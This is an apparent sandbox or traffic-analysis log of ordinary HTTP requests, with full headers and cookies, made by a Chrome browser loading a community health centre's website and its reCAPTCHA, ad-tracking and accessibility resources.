Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/images/favicon/manifest.json HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: manifestReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962708.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /portal14763/images/ecw-badge.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /track/up?adv=3l6d758&ref=https%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFIAIoAzILCNKuldvhmfI8EAVCDyINCAESCQoFdGllcjIQAVoHM2w2ZDc1OGAB
Source: global traffic	HTTP traffic detected: GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1Host: listgrowth.ctctcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6aba559afcf8291c518df6fa4c481556"If-Modified-Since: Wed, 10 Apr 2024 20:08:09 GMT
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/images/favicon/favicon-32x32.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962708.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=aogix5n2d4km HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
Source: global traffic	HTTP traffic detected: GET /universal_pixel.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFKAMyCwjcy-Dx45nyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=aogix5n2d4kmAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
Source: global traffic	HTTP traffic detected: GET /js/bg/6JK7PkhQPjgGeBZqyHKCSWuJKD5ZJmF_kzmP9QlV1DY.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=aogix5n2d4kmAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cache/app/wildcards.json HTTP/1.1Host: cdn.acsbapp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://valleyprohealth.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "de3119f737ac997fbb853cf24e7025b5"If-Modified-Since: Wed, 24 Apr 2024 00:00:03 GMT
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=1ixpx082w2ai HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
Source: global traffic	HTTP traffic detected: GET /track/up?adv=3l6d758&ref=https%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFKAMyCwjcy-Dx45nyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/img__section-1-550x550.jpg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962715.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
Source: global traffic	HTTP traffic detected: GET /cache/app/wildcards.json HTTP/1.1Host: cdn.acsbapp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "de3119f737ac997fbb853cf24e7025b5"If-Modified-Since: Fri, 19 Apr 2024 00:00:03 GMT
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6dwJDGtGybsoZY_Q_MXAImDL7mxroFCc2cKK7bGllH98hNIqJO8aphdHNZWrdb20ch2A0s4i636y8x6D3Y
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA6HqRKdznOsNWnGT6s2R1vIGYXXOMOTlBKVjMTyP_UpaucCrkDbZGEHIUyXYHmbt5PY6GL53FBaGX90hGIy88iXirvHC4Kd7ciUjQNNVZIcDdHqGWfQf2mQwV_EVgeF0QHIwndFlJ7ZkvDUs6iuRrq7hrL6YNxAD5htAZhHK98PzxZqpHgnvF1gsGyPgW9nM5hejO8Fy7-zO0SvynECArkwhxvBXw&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--VrAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6dwJDGtGybsoZY_Q_MXAImDL7mxroFCc2cKK7bGllH98hNIqJO8aphdHNZWrdb20ch2A0s4i636y8x6D3Y
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA6hHP6s1zynjYsXVufOgf4V29uZVjpCw0OhsZUN6GyY38r3KkHPQ-Fq3ZWwTNzx3gUyqIypGujbxTukbAXfsYdudixMkyZUEiNN3Yt2dQbAnrHduECGQR9eAbsvKZQ8dhU7AiV-HNFnqAvMHj9zq3uY1wur7d0zk9ON6jCU29x8XEjlN9daEWeTuLL7A00ipd4AF-Mt&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--VrAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA6HqRKdznOsNWnGT6s2R1vIGYXXOMOTlBKVjMTyP_UpaucCrkDbZGEHIUyXYHmbt5PY6GL53FBaGX90hGIy88iXirvHC4Kd7ciUjQNNVZIcDdHqGWfQf2mQwV_EVgeF0QHIwndFlJ7ZkvDUs6iuRrq7hrL6YNxAD5htAZhHK98PzxZqpHgnvF1gsGyPgW9nM5hejO8Fy7-zO0SvynECArkwhxvBXw&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E
Source: global traffic	HTTP traffic detected: GET /services HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962715.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA6hHP6s1zynjYsXVufOgf4V29uZVjpCw0OhsZUN6GyY38r3KkHPQ-Fq3ZWwTNzx3gUyqIypGujbxTukbAXfsYdudixMkyZUEiNN3Yt2dQbAnrHduECGQR9eAbsvKZQ8dhU7AiV-HNFnqAvMHj9zq3uY1wur7d0zk9ON6jCU29x8XEjlN9daEWeTuLL7A00ipd4AF-Mt&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/img__services-1536x712.jpg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962715.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/acf_block_full_width_hero.css?ver=230904-91940 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962725.0.0.0; _ga=GA1.1.446872372.1713962665
